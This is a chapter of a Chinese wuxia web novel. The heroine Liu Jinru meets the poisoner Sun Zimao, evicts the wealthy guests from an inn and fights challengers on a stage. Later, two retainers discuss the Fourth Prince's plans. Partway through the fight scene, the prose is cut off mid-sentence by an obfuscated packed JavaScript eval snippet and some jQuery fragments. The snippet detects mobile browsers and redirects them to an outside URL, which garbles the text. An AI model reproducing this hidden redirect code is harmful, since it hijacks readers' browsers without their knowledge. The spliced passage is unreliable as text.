柳锦如感觉后背有些发寒,怎样的人,既能发出老人的声音,又能发出年轻人的声音,实在罕见。
柳锦如和鱼无刀对视一眼,鱼无刀似乎也觉得新奇。
“小妞,你是顾红叶的女儿?”男人问着柳锦如。
“你偷听我们说话?”柳锦如有些气恼。
“你们说话那么大声,怎么能叫偷听呢”男人终于转过身来,不是个老人,也不是个年轻人,是个大概四十多的中年男人,只是脸上皱纹颇多,脸上还有大大小小的痣一样的黑点,看起来有些可怖。
江湖人,大多都不正常,尤其是高手,从内在的性格,到外在的形象,总是夸张些的。
“我可告诉你,我和你姥姥还打过交道呢”男人捋了一把胡须,他虽然年纪不算大,竟然胡子头发都白了。
“你认识断情?”这下轮到鱼无刀来问了。
“断情?哦,是,她后来确实改了这个名字”
待到老人说出姥姥原先的名字时,柳锦如惊在原地。
江湖上太多人,就连和姥姥羁绊那么深的剑王祝佩,都不知道姥姥原先的名字,姥姥告诉过柳锦如,她的名字几乎没人知道。
可这个人知道。
说明,他确实和姥姥认识,兴许还有一段渊源。
“你到底是谁?”柳锦如不知道是问第几遍了,她都快没耐心了,男人还在卖关子。
“你姥姥没跟你说过我吗?这个死毒妇,炼毒炼傻了,恩人都忘了”男人语气忿忿,“我告诉你,没有我,她断情成不了谷主,更别谈什么毒王了,做梦去吧她”
“你是‘蛊王’孙紫茂?”柳锦如记忆超群,她仅用那人一句话,就回忆起了在断情谷姥姥和她随口一说的话语。
姥姥说过,自己断情谷内的白骨蠕虫,就是找孙紫茂要的,保护自己平安无事,安心炼毒。
“你不是在北洲吗,怎么来江南城了?”柳锦如不解,这人太过奇怪,她得谨慎些对待。
“当然是逃命啊”孙紫茂直言,“现在除了脑子有问题的,谁还留在北洲,等死啊”
温济舟在北洲。
柳锦如一时想骂回去,抑制住了情绪。
这个人很危险,这是柳锦如的直觉告诉自己的,鱼无刀在旁边,神色也有些不稳定,柳锦如知道,她和自己感受一样。
如果此人真是蛊王,那他随身所带的那个箱子……
里面定然都是毒蛊。
百蛊,有毒蝎、毒蛇、毒虫、毒蛙……
静下心来听,能听见这些生物特有的叫声,柳锦如鸡皮疙瘩都要起来了。
他把这些东西随身带着,也难怪不要武器。
随便打开一个箱子,百来个人死亡不成问题。
柳锦如心下有一个想法,不过不是针对自己的安危,是针对整个江南百姓。
如今九洲客栈鱼龙混杂,什么人都有,虽然各地的九洲客栈多是如此,但江南的这里,显然是不同的。
其他地方,上有武林高手,掌门盟主,下有民间布衣,要饭乞儿,总之就是,分布比较均匀。
江南城的九洲客栈,则很是不同。
在乱世,能在这样的地方,谋一处安寝,不是有钱人,就是高手中的高手。
九洲客栈,确实“来者皆是客”,但也得人人都能来,不能被一群人垄断。
柳锦如想改变这个局面,尽管她知道,这很难。
她要面临的,是一群有钱又有力的人,没有一个是好惹的。
她不再和这个孙紫茂掰扯,对方显然也不打算理她,等鱼无刀冷静下来,柳锦如把自己的决定告诉她。
“这…能成吗?”鱼无刀听了都觉得不可能。
“只能这样做了”柳锦如很坚定。
柳锦如当天,做了个很大胆的决定,青面人首领阿情,听到这个消息后,第一反应是震惊。
“尊…尊主,你真要把客栈从头到尾清空?”
柳锦如非常肯定地点头,不带一丝犹豫,
“剩下的钱都退给他们,不能让这群人把这里霸占了”
“九洲客栈得清清场了”柳锦如深吸一口气,双手背过身后,目光坚定。
阿情还是照做了,虽然结果是相当可怕的。
江湖人们一个传一个,说的相当可怕。
“九洲客栈新来了个尊主,手段相当残忍,把我们赶了出来,不许住”
“她有什么资格!老子出了钱的!”
每间客栈房门大开,客栈内一下站满了江湖人,大家都争相表明自己的反对,从这群人手里抢饭碗,和虎口夺食没区别,柳锦如知道。
柳锦如拿了剑,站了出来。
她不想逃避。
“此事是我命令,有不服的,找我就好”
柳锦如站在三层中央,她这块地方,刚好能看到楼下,看到客栈外面密集的人群。
都是先前,住不起客房的江湖人,还有些老百姓,赶来凑凑热闹。
他们各个脸上灰扑扑的,面黄肌瘦。
柳锦如又回眼,看了看身边,各个穿的体面又周整,两者比起来,不能说是天差地别吧。
倒是一个天上一个地下。
“大家如今抢着住栈,无非就是因为无地可住,无家可归,但江南城外尚还有些荒地,先前虫灾荒废,如今若费力开荒,也能成为我们外来人的一处休憩,那日起,九洲客栈也能回归建立初心,在下于此给诸位道声抱歉”
柳锦如上前,弯腰,给众人拱手。
“我当是哪来的大官,原来是个毛丫头,敢给老子耍威风!”一个男人见了柳锦如,态度很不好,“老子出了钱的,凭什么走”
柳锦如垂眸,乌黑的眼瞳盯着男人,看得男人有些发怵。
“我们退钱就是”
柳锦如一摆手,阿情将银子从三楼扔下,非常完美地掉在了男子的包裹之中。
“诸位,主动退栈的,可上来找我退钱”柳锦如神情随意。
四下议论纷纷,
“我们没地方住啊”
“对啊,我可懒得去开什么荒”
很多人都不想退钱,一个男人站了出来。
“江湖人都不是小屁孩,不是你呼之即来推之即去的,有本事,你把我打服了,我钱不要就走”男人语气猖狂。
柳锦如半眯着眼睛,她在飘柳院,这种事情处理的多了,一般都是拿钱消事。
这九洲客栈,竟然还有另一种方法。
拿力气,征服对方。
这就是江湖。
柳锦如想了想,确实是个不错的主意,如果能凭力气将这群人打服了,竟然不用退钱,九洲客栈近几日房价陡增,如果打服他们又不退钱,能收获很大一笔资金,用来重新规划客栈,帮助流民,实在一举双得。
“好,还有想凭力气退钱的吗?”
人群一阵躁动,不一会儿,大大小小的江湖人举起手来。
柳锦如的手腕被人拉住,回头,是师傅。
“锦如,你这是干嘛”鱼无刀紧皱着眉头,“他们都是些不怕死的江湖人,你就凭自己一个人,跟他们打?”
柳锦如轻轻拍了拍鱼无刀的手,像是在劝她安心,
“师傅,我能胜一人,也能多一笔钱财,将来也好重整客栈”
柳锦如语气坚毅,鱼无刀知道她倔强,也不好多说。
柳锦如在街上找了一处空地,先前是个戏台,逢年过节,各地来的戏班子总爱在此唱戏。
柳锦如让人把周遭的东西清扫一阵,腾了一处擂台大小。
“一个一个来”柳锦如侧头,漫不经心地看着台下的江湖人。
鱼无刀在台下,鹤青不停摇着她的手,焦急地说话,“师傅,怎么办啊,锦如一个人怎么打这么多江湖人啊”
边说着,还边跺脚,鱼无刀本就心烦,被她说得更烦了。
“我哪知道怎么办!”鱼无刀瞥了一眼鹤青,“等会看情况,锦如要是状态不好,我跳上去,你扶着她”
“你要代她去打啊?”鹤青瞪大眼睛,看师傅拿着剑,跃跃欲试。
“不然呢?你去啊”鱼无刀嫌弃地白了一眼鹤青。
“去就去,老娘不怕他们!”鹤青叉着腰,对自己的实力表示非常自信。
“地重都刚入门,这周围差些的都是地重,你去?”鱼无刀上下打量了一下自己的徒弟,“半局都撑不住”
可柳锦如撑住了。
她撑了三局,赶走了三个对手。
第一个,是用拳脚的,不难,柳锦如也擅长近身搏斗,二人近身相斗,那人显然不是柳锦如的对手。
第二个复杂些,耍斧头的,柳锦如用剑,趁着那人斧头落地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982266|192612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的笨重,长剑直指他的脖子。
第三个,和柳锦如一样,用的是短刀,这就更简单了,这普天之下用短刀的,除了鱼无刀,柳锦如都有自信一战。
走一个,留下一笔钱财,是近几日的房钱,看着堆叠得高高的银山,柳锦如很开心。
视线又扫下周遭的人们,柳锦如额头开始冒汗。
内力是有限的,四下的人,密密麻麻,
她娘干嘛要把江南这九洲客栈建这么大,还建这么多房子,累都要把自己累死。
不过只那一瞬,随即而来的,就是欣慰。
还好,还好有这么大的九洲客栈,能给天下侠士黎民,得一处安寝。
————————
秦安是被声音吵醒的,下面在闹腾,自己也睡不着。
柳锦如离开前,把照顾秦安的任务交托给了张金,张金刚从门外回来,还带了药。
秦安听到声响,自然是睡不住了,立马起身,试问着张金。
“张金,外面怎么了?”
张金垂头丧气地,把外面发生的事情告诉给了秦安。
秦安一听,刚喝进口中的药,尽数喷了出来。
“咳咳咳…什么???你说柳姑娘一人大战一众江湖人?”
张金点点头。
“你去找四殿下了吗?”秦安莫名一问,张金有些不知所云,
“四殿下?怎么要去找四殿下,他现在受困三皇子,我找他不是自寻死路吗?”
秦安垂手摆头,张金果真是个笨的,不像自己,和四皇子一起长大,知晓他心中所想。
“张金,你不会觉得,四皇子现在已经被三皇子关起来,甚至……”说到这里,秦安顿了顿,“杀了吧”
张金点点头,“额…虽然这么说不好,但是,难道不是吗”
随即,张金感觉自己的脑袋受到重创,他被秦安一记暴栗,“蠢啊你!”
“要是四皇子被抓了,我俩还有可能在这相安无事说话吗,只怕现在满大街都是我俩的通缉令了!”秦安捂着头,表情非常痛苦,“你方才出去,有见到官员通缉找人吗?”
“没有啊”
“那不就是了!”
张金这才意识到,“你是说,四皇子如今已经重新掌权,赶走了三皇子??!”
张金语气惊异,秦安叹了口气,“成了七八分了吧”
秦安知道四皇子收买人心的计谋,很多这样出钱出情的事,殷子休都是派他做的。
深晓人心之人,最懂得如何施舍慈悲。
秦安知道,殷子休虚伪装傻的伪装下,那野心勃勃的心。
豺狼亦知虎意,他自然比任何人都懂殷子休的计谋,张金无非是个爪牙,他不懂也正常。
“张金,你别多问了,现在,立马去四皇子府内,把柳姑娘的事情尽数告知于他,对了,你知道柳姑娘在哪吗?”秦安语气强装镇定。
“知道,东街戏台”
“去吧”
张金唰一下就冲了出去,秦安看着他的背影,终于舒了一口气。
他总觉得,很多时候,自己和四皇子,像是有心灵上的感应一样,也许就是如此,自己成了他的心腹。
殷子休那样一个勾心算计之人,对自己倒是很信任。
自然也是殷子休这番信任,颇有烂人真心之感,让秦安对他死心塌地。
秦安被三皇子强逼,哪怕他义正言辞告诉自己,你的主子死了,但是秦安就是不信,冥冥之中,他有一种强烈的感应,殷子休没死,他在等自己,自己得活着,他们还有未尽的事业。
凭着这股莫名的心气,他活了下来,等来了殷子休。
他有时候会想,或许殷子休对他的信任,也是他收获自己人心的一个策略,毕竟,殷子休从来不下闲棋。
可那又如何呢?这个人,哪怕你知道他的危险,可你却总想伸手,和他站在一条船上,他危险、多疑、心机深重,可是无端地,却让人想与他同盟。
秦安不知道怎么说,殷子休从内到外所散发的,总是这种想让人亲近的力量。
他总是能知晓殷子休所想,比如今天,他莫名觉得,这个叫柳锦如的姑娘,对殷子休很重要,非常重要,若不是自己双腿难以行动,他肯定会亲自撒腿,立马跑去皇子府内找殷子休,告诉他,
“柳姑娘有危险”